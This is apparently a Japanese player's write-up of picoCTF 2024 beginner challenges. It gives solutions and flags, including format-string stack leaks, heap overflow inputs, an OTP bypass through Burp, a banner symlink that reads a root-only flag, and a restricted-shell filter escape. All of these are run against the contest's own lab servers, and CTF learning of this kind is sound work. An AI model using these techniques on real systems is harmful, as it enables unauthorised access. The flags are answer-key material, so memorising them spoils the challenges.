100pt問題とgeneral問題は全部解いた。2725点で1029位。終了日を忘れていたせいで気づいたら終わっていた…
- WebDecode (Web, 50)
- Commitment Issues (General, 50)
- interencdec (crypto, 50)
- Time Machine (general, 50)
- Blame Game (general, 75)
- Collaborative Development(general, 75)
- format string 0 (Binary Exploitation, 50)
- heap 0 (binary, 50)
- Verify (forensics, 50)
- CanYouSee (forensics, 100)
- Unminify (web, 100)
- Secret of the Polyglot (forensics, 100)
- Binary Search (general, 100)
- Custom encryption (crypto, 100)
- packer (reverse, 100)
- IntroToBurp (web, 100)
- heap 1 (binary, 100)
- format string 1 (binary, 100)
- endianness (general, 200)
- dont-you-love-banners (general, 300)
- SansAlpha (general, 400)
- Mob psycho (forensics, 200)
WebDecode (Web, 50)
about.htmlの44行目に気になる記述がある。
<section class="about" notify_true="cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfZjZmNmI3OGF9">
notify_true
の値をbase64デコードすれば良い。
picoCTF{web_succ3ssfully_d3c0ded_f6f6b78a}
Commitment Issues (General, 50)
zipファイルが与えられる。解凍したら.git
ディレクトリが入っており、Gitのコミット履歴を見ることでflagを復元できるようだ。
調べたところ、git log -p
を実行することでGitのコミット履歴とその変更点を見ることができるとのこと。
$ git log -p
commit 144fdc44b09058d7ea7f224121dfa5babadddbb9 (HEAD -> master)
Author: picoCTF <ops@picoctf.com>
Date: Tue Mar 12 00:06:25 2024 +0000
remove sensitive info
diff --git a/message.txt b/message.txt
index 3a71673..d552d1e 100644
--- a/message.txt
+++ b/message.txt
@@ -1 +1 @@
-picoCTF{s@n1t1z3_be3dd3da}
+TOP SECRET
commit 7d3aa557ff7ba7d116badaf5307761efb3622249
Author: picoCTF <ops@picoctf.com>
Date: Tue Mar 12 00:06:25 2024 +0000
create flag
diff --git a/message.txt b/message.txt
new file mode 100644
index 0000000..3a71673
--- /dev/null
+++ b/message.txt
@@ -0,0 +1 @@
+picoCTF{s@n1t1z3_be3dd3da}
これでflagが得られた。
picoCTF{s@n1t1z3_be3dd3da}
interencdec (crypto, 50)
2回base64でデコードしたのち、ROT19をかければよい。Cyberchefを使うと楽。
picoCTF{caesar_d3cr9pt3d_890d2379}
Time Machine (general, 50)
git log
で見れた。
picoCTF{t1m3m@ch1n3_88c35e3b}
Blame Game (general, 75)
問題名からgit blame
を使えばよいことが推測できる。
picoCTF{@sk_th3_1nt3rn_81e716ff}
Collaborative Development(general, 75)
問題文にチーム開発をしているとあるので、関連した機能を使ってみる。
git branch
を実行したところ、計4つのブランチがあることに気づいた。
$ git branch
feature/part-1
feature/part-2
feature/part-3
* main
他のブランチとの相違点を確認する。
$ git diff main feature/part-1 feature/part-2 feature/part-3
diff --cc flag.py
index 6e17fb3,7ab4e25,c312152..77d6cec
--- a/flag.py
+++ b/flag.py
@@@@ -1,2 -1,3 -1,3 +1,1 @@@@
print("Printing the flag...")
- print("picoCTF{t3@mw0rk_", end='')
--
- print("m@k3s_th3_dr3@m_", end='')
-print("w0rk_798f9981}")
これでflagがわかった。
picoCTF{t3@mw0rk_m@k3s_th3_dr3@m_w0rk_798f9981}
選択肢のうち、フォーマット文字列として意味をなすものを選べばflagが得られる。
内部的には、
- 1問目は出力サイズが入力文字列の2倍より大きければ(
if (count > 2 * BUFSIZE)
)2問目に移る
- 2問目では
%s
を出力する際に以前変数に格納したflagが出力されるバグがある
という以上の原因によりflagが出力されている。
$ nc mimas.picoctf.net 53026
Welcome to our newly-opened burger place Pico 'n Patty! Can you help the picky customers find their favorite burger?
Here comes the first customer Patrick who wants a giant bite.
Please choose from the following burgers: Breakf@st_Burger, Gr%114d_Cheese, Bac0n_D3luxe
Enter your recommendation: Gr%114d_Cheese
Gr 4202954_Cheese
Good job! Patrick is happy! Now can you serve the second customer?
Sponge Bob wants something outrageous that would break the shop (better be served quick before the shop owner kicks you out!)
Please choose from the following burgers: Pe%to_Portobello, $outhwest_Burger, Cla%sic_Che%s%steak
Enter your recommendation: Cla%sic_Che%s%steak
ClaCla%sic_Che%s%steakic_Che(null)
picoCTF{7h3_cu570m3r_15_n3v3r_SEGFAULT_a1d85b3e}
heap 0 (binary, 50)
与えられたソースコードのcheck_win()
関数より、safe_var
の中身がbico
という文字列以外ならflagが得られるとのこと。
ソースや動作状況から、input_data
がsafe_var
より0x20だけ若い番地に置かれていることがわかるので、0x20 = 32文字以上の文字列を入力すればsafe_var
を書き換え、flagを得ることが可能である。
※ヌル文字を含めて33文字以上、つまり普通に入力して32文字以上の入力が必要
$ nc tethys.picoctf.net 51995
Welcome to heap0!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x55a8b341e2b0 -> pico
+-------------+----------------+
[*] 0x55a8b341e2d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 1
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x55a8b341e2b0 -> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
+-------------+----------------+
[*] 0x55a8b341e2d0 ->
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
picoCTF{my_first_heap_overflow_749119de}
Verify (forensics, 50)
files
直下の全ファイルをfor文で試す脳筋プレーでflagを得た。
for file_name in $(ls -R files/* -1); do
openssl enc -d -aes-256-cbc -pbkdf2 -iter 100000 -salt -in "/home/ctf-player/drop-in/$file_name" -k picoCTF 2>/dev/null
done
おそらく想定解はsha256+grep。
ctf-player@pico-chall$ cat checksum.txt
b09c99c555e2b39a7e97849181e8996bc6a62501f0149c32447d8e65e205d6d2
ctf-player@pico-chall$ sha256sum files/* | grep b09c99c555e2b39a7e97849181e8996bc6a62501f0149c32447d8e65e205d6d2
b09c99c555e2b39a7e97849181e8996bc6a62501f0149c32447d8e65e205d6d2 files/451fd69b
ctf-player@pico-chall$ ./decrypt.sh files/451fd69b
picoCTF{trust_but_verify_451fd69b}
picoCTF{trust_but_verify_451fd69b}
CanYouSee (forensics, 100)
zipファイルを解凍するとukn_reality.jpg
が現れる。binwalk
やfile
では何も出なかったが、strings
を利用するとbase64でエンコードされた文字列が出てくる。これをデコードするとflagが得られた。
$ strings ukn_reality.jpg | head
JFIF
7http://ns.adobe.com/xap/1.0/
<?xpacket begin='
' id='W5M0MpCehiHzreSzNTczkc9d'?>
<x:xmpmeta xmlns:x='adobe:ns:meta/' x:xmptk='Image::ExifTool 11.88'>
<rdf:RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>
<rdf:Description rdf:about=''
xmlns:cc='http://creativecommons.org/ns#'>
<cc:attributionURL rdf:resource='cGljb0NURntNRTc0RDQ3QV9ISUREM05fZDhjMzgxZmR9Cg=='/>
</rdf:Description>
$ echo cGljb0NURntNRTc0RDQ3QV9ISUREM05fZDhjMzgxZmR9Cg== | base64 -d
picoCTF{ME74D47A_HIDD3N_d8c381fd}
別解:IrfanView
などの画像ビューアで画像のプロパティ→IPTC情報→XMP Tagを見ると、rdf:resource
に先ほどのbase64文字列がある。これをデコードすればよい。
Unminify (web, 100)
与えられたWebページのHTMLソースの中にflagが隠れているので、それを単に探せば良い。
<div class="picoctf{}" style="width:70%">
<p class="picoctf{}">If you're reading this, your browser has succesfully received the flag.</p>
<p class="picoCTF{pr3tty_c0d3_dbe259ce}"></p>
<p class="picoctf{}">I just deliver flags, I don't know how to read them...</p>
</div>
Secret of the Polyglot (forensics, 100)
pdfファイルが与えられるが、file
コマンドによるとpngファイルとのことなので拡張子を変更して画像ビューアで見てみる。するとflagの前半部分(picoCTF{f1u3n7_
)が書いてあった。これと、もとのpdfファイルに書かれていたflagの後半部分をつなぎ合わせることでflagが得られる。
picoCTF{f1u3n7_1n_pn9_&_pdf_2a6a1ea8}
Binary Search (general, 100)
1~1000の中から数字を当てるゲーム。タイトルの通り、2分探索を用いて数字を推測すればよい。
$ ssh -p 56013 ctf-player@atlas.picoctf.net
Welcome to the Binary Search Game!
I'm thinking of a number between 1 and 1000.
Enter your guess: 500
Lower! Try again.
Enter your guess: 250
Higher! Try again.
Enter your guess: 375
Higher! Try again.
Enter your guess: 440
Higher! Try again.
Enter your guess: 475
Lower! Try again.
Enter your guess: 460
Higher! Try again.
Enter your guess: 467
Higher! Try again.
Enter your guess: 470
Higher! Try again.
Enter your guess: 473
Lower! Try again.
Enter your guess: 472
Congratulations! You guessed the correct number: 472
Here's your flag: picoCTF{g00d_gu355_bee04a2a}
Connection to atlas.picoctf.net closed.
Custom encryption (crypto, 100)
暗号文と暗号化スクリプトが与えられる。スクリプトを見ると、
- dynamic_xor_encrypt
- encrypt
の順番で暗号化されており、前者は
- 平文を逆順に並び替える
- text_keyとのxorをとる
処理で、後者は
処理である。そのため、復号するには
- 暗号文の各数をkeyと311で割る
- それとtext_keyとのxorをとる
- それを逆順に並び替える
という処理を行えばよい。
なお、keyを求めるにはa = randint(p-10, p), b = randint(g-10, g)
となる素数p, gを特定する必要があるが、
- pについて
p-10 <= a = 90 <= p
より90 <= p <= 100
- pは素数なのでpの候補は97のみ
- gについて
g-10 <= b = 26 <= g
より26 <= g <= 36
- gは素数なのでgの候補は29, 31のどちらか
ということで、p, g = (97, 29), (97, 31)
のどちらかを試せばよい。まあスクリプトのtest
関数にp = 97, g = 31
と書いてあるのだが…
これを踏まえてdecrypt
関数とdynamic_xor_decrypt
関数を追記したスクリプトを以下に示す。
from random import randint
import sys
def generator(g, x, p):
return pow(g, x) % p
def encrypt(plaintext, key):
cipher = []
for char in plaintext:
cipher.append(((ord(char) * key*311)))
return cipher
def decrypt(cipher, key):
plaintext = ""
for c in cipher:
plaintext += chr(c // key // 311)
return plaintext
def is_prime(p):
v = 0
for i in range(2, p + 1):
if p % i == 0:
v = v + 1
if v > 1:
return False
else:
return True
def dynamic_xor_encrypt(plaintext, text_key):
cipher_text = ""
key_length = len(text_key)
for i, char in enumerate(plaintext[::-1]):
key_char = text_key[i % key_length]
encrypted_char = chr(ord(char) ^ ord(key_char))
cipher_text += encrypted_char
return cipher_text
def dynamic_xor_decrypt(cipher, text_key):
plain_text = ""
key_length = len(text_key)
for i, char in enumerate(cipher):
key_char = text_key[i % key_length]
decrypted_char = chr(ord(char) ^ ord(key_char))
plain_text = decrypted_char + plain_text
return plain_text
def test(plain_text, text_key):
p = 97
g = 31
if not is_prime(p) and not is_prime(g):
print("Enter prime numbers")
return
a = randint(p-10, p)
b = randint(g-10, g)
print(f"a = {a}")
print(f"b = {b}")
u = generator(g, a, p)
v = generator(g, b, p)
key = generator(v, a, p)
b_key = generator(u, b, p)
shared_key = None
if key == b_key:
shared_key = key
else:
print("Invalid key")
return
semi_cipher = dynamic_xor_encrypt(plain_text, text_key)
cipher = encrypt(semi_cipher, shared_key)
print(f'cipher is: {cipher}')
def get_plaintext(text_key):
a = 90
b = 26
p = 97
g = 31
u = generator(g, a, p)
v = generator(g, b, p)
shared_key = generator(v, a, p)
cipher = [61578, 109472, 437888, 6842, 0, 20526, 129998, 526834, 478940, 287364, 0, 567886, 143682, 34210, 465256, 0, 150524, 588412, 6842, 424204, 164208, 184734, 41052, 41052, 116314, 41052, 177892, 348942, 218944, 335258, 177892, 47894, 82104, 116314]
semi_cipher = decrypt(cipher, shared_key)
plaintext = dynamic_xor_decrypt(semi_cipher, text_key)
print(f"plaintext is: {plaintext}")
if __name__ == "__main__":
get_plaintext("trudeau")
これを実行することで暗号文を復号でき、flagが手に入る。
$ python3 custom_encryption.py
plaintext is: picoCTF{custom_d2cr0pt6d_49fbee5b}
packer (reverse, 100)
バイナリが与えられる。中身を見てみようとobjdump
を使ったが何も表示されない。
$ file out
out: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header
$ objdump -D out
out: file format elf64-x86-64
タイトルよりパッカーが使用されていると考え、strings out
を実行してみたところ、末尾にUPX!
と表示された。そのためUPXを用いてアンパックしてみる。
$ upx -d out
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2024
UPX 4.2.2 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 3rd 2024
File size Ratio Format Name
-------------------- ------ ----------- -----------
[WARNING] bad b_info at 0x4b710
[WARNING] ... recovery at 0x4b70c
877724 <- 336512 38.34% linux/amd64 out
Unpacked 1 file.
これによりobjdump
でデコンパイルできるようになった。この状態でstrings out
したところ、怪しい数列が出てきた。
Enter the password to unlock this file:
You entered: %s
Password correct, please see flag: 7069636f4354467b5539585f556e5034636b314e365f42316e34526933535f36666639363465667d
Access denied
これを16進文字列として解釈すると、flagが得られた。
picoCTF{U9X_UnP4ck1N6_B1n4Ri3S_6ff964ef}
IntroToBurp (web, 100)
用意されたWEBページは、
- 何らかの情報登録フォーム(/)に記入すると、
- 二段階認証の画面(/dashboard)に飛ばされる
という構造になっている。
タイトルからしてburpsuiteを用いるものだと考えたが、その先がわからない。入力欄にSQLiしたりリクエスト内のjwtをデコードしたりしてみたが、何も得られなかった。
結局、最初の情報登録フォームの送信内容をburpsuiteで改変し、送信先を/から/dashboardに変更したところ、flagが得られた。
Welcome, a you sucessfully bypassed the OTP request. Your Flag: picoCTF{#0TP_Bypvss_SuCc3$S_9090d63c}
heap 1 (binary, 100)
heap 0と同様にして解ける。
ソースコードより、今回はsafe_var = pico
であればflagを得ることができるとわかる(check_win()
関数より)。またヒープの状態から、input_data
の0x20バイト先にsafe_var
が格納されていることがわかる。
以上より、input_data
に0x20文字の適当な文字列と、pico
という文字列を与えれば、safe_var
の中身をpico
にできる。これでflagを得られる。
$ nc tethys.picoctf.net 61777
Welcome to heap1!
I put my data on the heap so it should be safe from any tampering.
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
Heap State:
+-------------+----------------+
[*] Address -> Heap Data
+-------------+----------------+
[*] 0x5641177c72b0 -> pico
+-------------+----------------+
[*] 0x5641177c72d0 -> bico
+-------------+----------------+
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 2
Data for buffer: 0123456789abcdef0123456789abcdefpico
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 3
Take a look at my variable: safe_var = pico
1. Print Heap: (print the current state of the heap)
2. Write to buffer: (write to your own personal block of data on the heap)
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
4. Print Flag: (Try to print the flag, good luck)
5. Exit
Enter your choice: 4
YOU WIN
picoCTF{starting_to_get_the_hang_b9064d7c}
与えられたソースコードに以下のように書かれている。
printf("Give me your order and I'll read it back to you:\n");
fflush(stdout);
scanf("%1024s", buf);
printf("Here's your order: ");
printf(buf);
printf("\n");
fflush(stdout);
入力をそのまま出力するだけにも見えるが、printf(buf)
の部分で書式文字列攻撃が使用できてしまう。つまり、buf
に%lx
などのフォーマット文字列を入力することで、スタック内のデータを出力させることが可能である。
$ nc mimas.picoctf.net 51033
Give me your order and I'll read it back to you:
%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,%lx,
Here's your order: 402118,0,7f6bb91cba00,0,1c47880,a347834,7ffe52acc940,7f6bb8fbce60,7f6bb91e14d0,1,7ffe52acca10,0,0,7b4654436f636970,355f31346d316e34,3478345f33317937,34365f673431665f,7d363131373732,7,7f6bb91e38d8,2300000007,206e693374307250,a336c797453,9,7f6bb91f4de9,7f6bb8fc5098,7f6bb91e14d0,0,7ffe52acca20,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,2c786c252c786c25,
Bye!
出力をコンマで区切り、それぞれの16進数を文字列に変換すると、以下のようになる(CyberChef使用)。
※個人的なtips: "fork"を使うと1行ずつ処理できる
@!
kケコ
G・
」G・
Rャノ@
kク鉸`
kケミ
Rャハ
{FTCocip
5_14m1n4
4x4_31y7
46_g41f_
}611772
kケ8リ
#
ni3t0rP
」6ヌ勇
kケM・kク・・kケミ
Rャハ
,xl%,xl%
,xl%,xl%
,xl%,xl%
,xl%,xl%
,xl%,xl%
,xl%,xl%
,xl%,xl%
中央にある{FTCocip
のあたりを文字列反転させると次のようになる。
picoCTF{
4n1m41_5
7y13_4x4
_f14g_64
277116}
これでflagが得られた。
picoCTF{4n1m41_57y13_4x4_f14g_64277116}
endianness (general, 200)
与えられた文字列を16進表記に変換し、これをビッグ・リトルエンディアンで表現すればよい。時間制限や回答数の制限はない。
$ nc titan.picoctf.net 63490
Welcome to the Endian CTF!
You need to find both the little endian and big endian representations of a word.
If you get both correct, you will receive the flag.
Word: fzruu
Enter the Little Endian representation: 7575727a66
Correct Little Endian representation!
Enter the Big Endian representation: 667a727575
Correct Big Endian representation!
Congratulations! You found both endian representations correctly!
Your Flag is: picoCTF{3ndi4n_sw4p_su33ess_cfe38ef0}
dont-you-love-banners (general, 300)
いくつかのクイズに正答してシェルにログインする。
┌──(kali㉿LAPTOP)-[~]
└─$ nc tethys.picoctf.net 65226
*************************************
**************WELCOME****************
*************************************
what is the password?
My_Passw@rd_@1234
What is the top cyber security conference in the world?
defcon
the first hacker ever was known for phreaking(making free phone calls), who was it?
john draper
player@challenge:~$
/root
直下を見ると、接続時に実行されるスクリプトとflagらしきファイルがあった。
player@challenge:~$ cd /root
cd /root
player@challenge:/root$ ls -la
ls -la
total 16
drwxr-xr-x 1 root root 6 Mar 12 00:18 .
drwxr-xr-x 1 root root 29 Mar 26 00:45 ..
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-rwx------ 1 root root 46 Mar 12 00:18 flag.txt
-rw-r--r-- 1 root root 1317 Feb 7 17:25 script.py
player@challenge:/root$ cat script.py
cat script.py
import os
import pty
incorrect_ans_reply = "Lol, good try, try again and good luck\n"
if __name__ == "__main__":
try:
with open("/home/player/banner", "r") as f:
print(f.read())
except:
print("*********************************************")
print("***************DEFAULT BANNER****************")
print("*Please supply banner in /home/player/banner*")
print("*********************************************")
try:
request = input("what is the password? \n").upper()
while request:
if request == 'MY_PASSW@RD_@1234':
text = input("What is the top cyber security conference in the world?\n").upper()
if text == 'DEFCON' or text == 'DEF CON':
output = input(
"the first hacker ever was known for phreaking(making free phone calls), who was it?\n").upper()
if output == 'JOHN DRAPER' or output == 'JOHN THOMAS DRAPER' or output == 'JOHN' or output== 'DRAPER':
scmd = 'su - player'
pty.spawn(scmd.split(' '))
else:
print(incorrect_ans_reply)
else:
print(incorrect_ans_reply)
else:
print(incorrect_ans_reply)
break
except:
KeyboardInterrupt
次に、接続時にbanner
というファイルが表示されることを利用し、banner
を/root/flag.txt
のシンボリックリンクとして設定する。これで次回の接続時にflagが表示されるはず。
player@challenge:/root$ cd
cd
player@challenge:~$ ls
ls
banner text
player@challenge:~$ rm banner
rm banner
player@challenge:~$ ln -s /root/flag.txt banner
ln -s /root/flag.txt banner
一度接続を切り、もう一度接続することでflagが表示される。
player@challenge:~$ ^C
┌──(kali㉿LAPTOP)-[~]
└─$ nc tethys.picoctf.net 65226
picoCTF{b4nn3r_gr4bb1n9_su((3sfu11y_a0e119d4}
what is the password?
SansAlpha (general, 400)
数字といくつかの記号しか使えないシェルでflagを探す問題。
bashのドキュメントを見たところ、\xxx
という形式を使えば文字を8進数で表せることがわかったが、\
すら塞がれていた。
lsの代わりに、?
と*
を使ってどんなファイルが存在するか調べることができる*1とのことなので、やってみる。
SansAlpha$ . ./?
bash: ./?: No such file or directory
SansAlpha$ . ./??
bash: ./??: No such file or directory
SansAlpha$ . ./???
bash: ./???: No such file or directory
SansAlpha$ . ./????
bash: ./????: No such file or directory
SansAlpha$ . ./?????
bash: ./?????: No such file or directory
SansAlpha$ . ./??????
bash: .: ./blargh: is a directory
./blargh
というディレクトリがあるとわかった。その中をさらに見ていく。
SansAlpha$ ./*/?
bash: ./*/?: No such file or directory
SansAlpha$ ./*/??
bash: ./*/??: No such file or directory
SansAlpha$ ./*/???
bash: ./*/???: No such file or directory
SansAlpha$ ./*/????
bash: ./*/????: No such file or directory
SansAlpha$ ./*/?????
bash: ./*/?????: No such file or directory
SansAlpha$ ./*/??????
bash: ./*/??????: No such file or directory
SansAlpha$ ./*/???????
bash: ./*/???????: No such file or directory
SansAlpha$ ./*/????????
bash: ./blargh/flag.txt: Permission denied
どうやら./blargh/flag.txt
という怪しげなファイルが存在するようだ。
この中身を見たい、つまりcat
を使いたいが、アルファベットを使用することはできない。そこで、エラーメッセージ等からc,a,tの3文字を抜き出すことでcat
という文字列を錬成する手法をとる。
上記出力のエラーメッセージbash: ./?: No such file or directory
には、ありがたいことにその3文字がすべて含まれているため、これを利用する。具体的には、
. ./?
の実行結果(エラーメッセージ)をリダイレクト2>&1
を利用して変数__
に格納し、
${parameter:offset:length}
構文を使って任意の1文字を持ってくる
という処理を行う*2。
例を挙げて説明すると、1については以下のようにして変数に格納でき、
__=$(. ./? 2>&1)
そして2については以下のようにして文字列から任意の文字を取得できる。
SansAlpha$ ${__:0:1}
bash: b: command not found
SansAlpha$ ${__:1:1}
bash: a: command not found
SansAlpha$ ${__:2:1}
bash: s: command not found
SansAlpha$ ${__:3:1}
bash: h: command not found
SansAlpha$ ${__:16:1}
bash: c: command not found
SansAlpha$ ${__:1:1}
bash: a: command not found
SansAlpha$ ${__:32:1}
bash: t: command not found
以上より、__=$(. ./? 2>&1);${__:16:1}${__:1:1}${__:32:1} ./*/????????
を入力することでcat ./blargh/flag.txt
を実行することができ、flagを得ることができる。
SansAlpha$ __=$(. ./? 2>&1);${__:16:1}${__:1:1}${__:32:1} ./*/????????
return 0 picoCTF{7h15_mu171v3r53_15_m4dn355_8b3d83ad}
Mob psycho (forensics, 200)
与えられたapkファイルをzipとみなして解凍し、その中からflagを探す。
$ unar mobpsycho.zip
$ find . -name flag*
./res/color/flag.txt
$ cat res/color/flag.txt
7069636f4354467b6178386d433052553676655f4e5838356c346178386d436c5f37303364643965667d
flag.txt
に書かれている16進数を文字列として解釈すると、flagが得られた。
picoCTF{ax8mC0RU6ve_NX85l4ax8mCl_703dd9ef}